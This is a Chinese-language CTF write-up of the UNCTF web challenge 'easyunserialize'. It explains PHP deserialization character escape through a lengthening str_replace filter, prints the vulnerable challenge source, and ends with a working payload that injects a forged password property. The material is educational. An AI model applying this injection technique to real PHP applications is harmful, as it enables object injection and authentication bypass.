UNCTF-WEB: easyunserialize(反序列化字符逃逸)

反序列化字符逃逸實驗

原理:利用字符串過濾使的原來序列化的讀取的s長度發生了改變(多出一個字符就能逃逸一個字符)

對於反序列化的語法來說,第一個右括號之後的字符都是作廢的

<?php
function filter($str){
    return str_replace('bb', 'ccc', $str);
}
class A{
    public $name='aaaa';
    public $pass='123456';
}


$user.='bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:4:"pass";s:6:"hack!!";}';
$AA=new A();
$AA->name=$user;
echo serialize($AA)."</br>";
$res=filter(serialize($AA));
echo $res."</br>";
$c=unserialize($res);
echo $c->pass;

?>

 

 

 

 

題目源碼:

<?php 
error_reporting(0); 
highlight_file(__FILE__);

class a 
{ 
    public $uname; 
    public $password; 
    public function __construct($uname,$password) 
    { 
        $this->uname=$uname; 
        $this->password=$password; 
    } 
    public function __wakeup() 
    { 
            if($this->password==='easy') 
            { 
                include('flag.php'); 
                echo $flag;     
            } 
            else 
            { 
                echo 'wrong password'; 
            } 
        } 
    } 

function filter($string){ 
    return str_replace('challenge','easychallenge',$string); 
} 

$uname=$_GET[1]; 
$password=1; 
$ser=filter(serialize(new a($uname,$password))); 
$test=unserialize($ser); 
?> 
wrong password

 

 

現在我們會利用反序列化字符逃逸了,得到源碼先序列化一下原來的字符串,將它拷貝出來以便後續進行修改

O:1:"a":2:{s:5:"uname";s:1:"a";s:8:"password";i:1;}

 

我們要把password改爲easy,改造成如下

O:1:"a":2:{s:5:"uname";s:1:"a";s:8:"password";s:4:"easy";}

 

計算得到需要逃逸29個字符,但是過濾函數是一次逃逸4個字符,得不到4的倍數,所以我們在後面補充幾個字符使得逃逸的字符數爲4的倍數

得到exp如下

challengechallengechallengechallengechallengechallengechallengechallenge";s:8:"password";s:4:"easy";aaa}

 

參考:https://www.cnblogs.com/Sumarua/p/12932401.html

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章